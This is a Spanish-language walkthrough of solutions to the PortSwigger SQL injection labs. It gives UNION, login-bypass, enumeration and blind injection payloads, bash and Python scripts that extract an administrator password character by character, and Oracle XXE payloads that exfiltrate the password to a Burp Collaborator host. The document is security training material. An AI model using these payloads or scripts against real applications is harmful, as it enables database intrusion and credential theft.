PortSwigger SQL Injection UNION Blind OOB Time-based

SQL Injection

Inyección SQL: extracción de datos ocultos, bypass de login, ataques UNION, enumeración de base de datos, blind condicional, time-based y out-of-band.

Retrieving hidden data

Lab 1SQL injection in WHERE clause allowing retrieval of hidden data
https://LAB-ID.web-security-academy.net/filter?category=Gifts' or 1=1 --

Subverting application logic

Lab 2SQL injection vulnerability allowing login bypass
Forma 1
username: administrator' --
password: cualquier texto
Forma 2
username: administrator' or 1=1 --
password: 'or 1=1 --

Retrieving data from other tables — UNION attacks

Lab 3UNION attack, determining the number of columns
https://LAB-ID.web-security-academy.net/filter?category=Accessories' union select null,null,null --
Lab 4UNION attack, finding a column containing text
# Determinar número de columnas
https://LAB-ID.web-security-academy.net/filter?category=Accessories' union select null,null,null --

# Identificar columna con texto
https://LAB-ID.web-security-academy.net/filter?category=Accessories' union select null,'a',null --

# Mostrar el texto solicitado
https://LAB-ID.web-security-academy.net/filter?category=Accessories' union select null,'p2Omtj',null --
Lab 5UNION attack, retrieving data from other tables
# Número de columnas
https://LAB-ID.web-security-academy.net/filter?category=Food+%26+Drink' union select null,null --

# Columnas con texto
https://LAB-ID.web-security-academy.net/filter?category=' union select 'a','a' --

# Extraer usuarios y contraseñas
https://LAB-ID.web-security-academy.net/filter?category=' union select username,password from users --
Lab 6UNION attack, retrieving multiple values in a single column
# Solo la 2da columna acepta texto
# Concatenar usuario y contraseña con separador
https://LAB-ID.web-security-academy.net/filter?category=' union select null,username||'<->'||password from users --

# Resultado: administrator<->nqy8w4oj1tnda467u4lf

Examining the database

Querying database type and version

Lab 7Querying database type and version on Oracle
# Oracle requiere tabla DUAL y usa v$version
https://LAB-ID.web-security-academy.net/filter?category=Accessories' union select null,null from dual --

# Sacar versión
https://LAB-ID.web-security-academy.net/filter?category=Accessories' union select banner,null from v$version --
Lab 8Querying database type and version on MySQL and Microsoft

Nota: En MySQL el comentario -- necesita un espacio después. Se agrega texto extra tras el espacio en la URL.

https://LAB-ID.web-security-academy.net/filter?category=Corporate+gifts' union select null,@@version -- algo

Listing the contents of the database

Lab 9Listing database contents on non-Oracle databases (PostgreSQL)
# Versión
https://LAB-ID.web-security-academy.net/filter?category=Gifts' union select 'a',version() --

# Listar tablas
https://LAB-ID.web-security-academy.net/filter?category=Gifts' union select TABLE_SCHEMA,TABLE_NAME from information_schema.tables --

# Listar columnas de tabla users
https://LAB-ID.web-security-academy.net/filter?category=Gifts' union select TABLE_NAME,COLUMN_NAME from information_schema.columns --

# Extraer credenciales (tabla y columnas con nombres aleatorios)
https://LAB-ID.web-security-academy.net/filter?category=Gifts' union select username_XXXX,password_XXXX from users_XXXX --
Lab 10Listing database contents on Oracle
# Tablas en Oracle
https://LAB-ID.web-security-academy.net/filter?category=Pets' union select null,TABLE_NAME from all_tables --

# Columnas de la tabla USERS_XXXXX
https://LAB-ID.web-security-academy.net/filter?category=Pets' union select TABLE_NAME,COLUMN_NAME from all_tab_columns where TABLE_NAME='USERS_XXXXX' --

# Extraer credenciales
https://LAB-ID.web-security-academy.net/filter?category=Pets' union select USERNAME_XXXX,PASSWORD_XXXX from USERS_XXXX --

Blind SQL injection vulnerabilities

Lab 11Blind SQL injection with conditional responses

Inyección en la cookie. Script bash para extraer la contraseña carácter a carácter buscando la cadena Welcome back! en la respuesta.

abc=$(echo {9..0} {a..z})
url="https://LAB-ID.web-security-academy.net/"
cookie='session=SESSION_ID; TrackingId=TRACKING_ID'
truestring="Welcome back!"
psw=""
for ((i=1;i<=20;i+=1)); do
  for j in $abc; do
    curl -i -s -k -b "$cookie' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'),$i,1)='$j" $url | grep -o "$truestring" >/dev/null
    if [ "$?" -eq 0 ]; then
      psw=$psw$j
      echo "found $j | password: $psw"
      break
    fi
  done
done
echo $psw
Lab 12Blind SQL injection with conditional errors (Oracle)
# Verificar tabla users
42bE1...' and (SELECT case when (1=0) then to_char(1/0) else 'a' end from users where rownum=1)='a

# Verificar longitud de contraseña
42bE1...' and (SELECT case when (length(password)=20) then to_char(1/0) else 'a' end from users where username='administrator')='a

# Extraer carácter a carácter (generar error si es correcto)
42bE1...' and (SELECT case when (substr(password,1,1)='e') then to_char(1/0) else 'a' end from users where username='administrator')='a

Exploiting blind SQL injection by triggering time delays

Lab 13Blind SQL injection with time delays
# Cookie TrackingId — PostgreSQL
QN8d4azscNQM5K9F'|| pg_sleep(10) --
Lab 14Blind SQL injection with time delays and information retrieval
from pwn import log
import requests

abc = 'abcdefghijklmnopqrstuvwxyz0123456789'
url = "https://LAB-ID.web-security-academy.net/"
s = requests.Session()
password = ""
p1 = log.progress("Password")
p2 = log.progress("Trying")

for p in range(20):
    for a in abc:
        r = s.get(url, cookies={
            "TrackingId": "ID'%3B SELECT CASE WHEN ('"+a+"'=SUBSTRING(password,"+str(p+1)+",1)) THEN pg_sleep(3) ELSE pg_sleep(0) END from users where username='administrator'--",
            "session": "SESSION_ID"
        })
        p2.status("pos: "+ str(p+1)+" letter: "+str(a)+" time: "+str(r.elapsed.total_seconds()))
        if r.elapsed.total_seconds() > 3:
            password += a
            break
    p1.status(password)
p1.success(password)

Exploiting blind SQL injection using out-of-band (OAST) techniques

Lab 15Blind SQL injection with out-of-band interaction

Interceptar la consulta con Burp Suite y enviar al Repeater. Abrir el Burp Collaborator para obtener el subdominio. Modificar la cookie TrackingId con la inyección codificada con Ctrl+U.

' UNION SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://COLLABORATOR-SUBDOMAIN.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual--

Versión URL-encoded para la cookie:

' UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//COLLABORATOR.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--
Lab 16Blind SQL injection with out-of-band data exfiltration

Igual que el anterior pero exfiltrando la contraseña del administrador como subdominio DNS.

'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+from+users+where+username%3d'administrator')||'.COLLABORATOR.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual --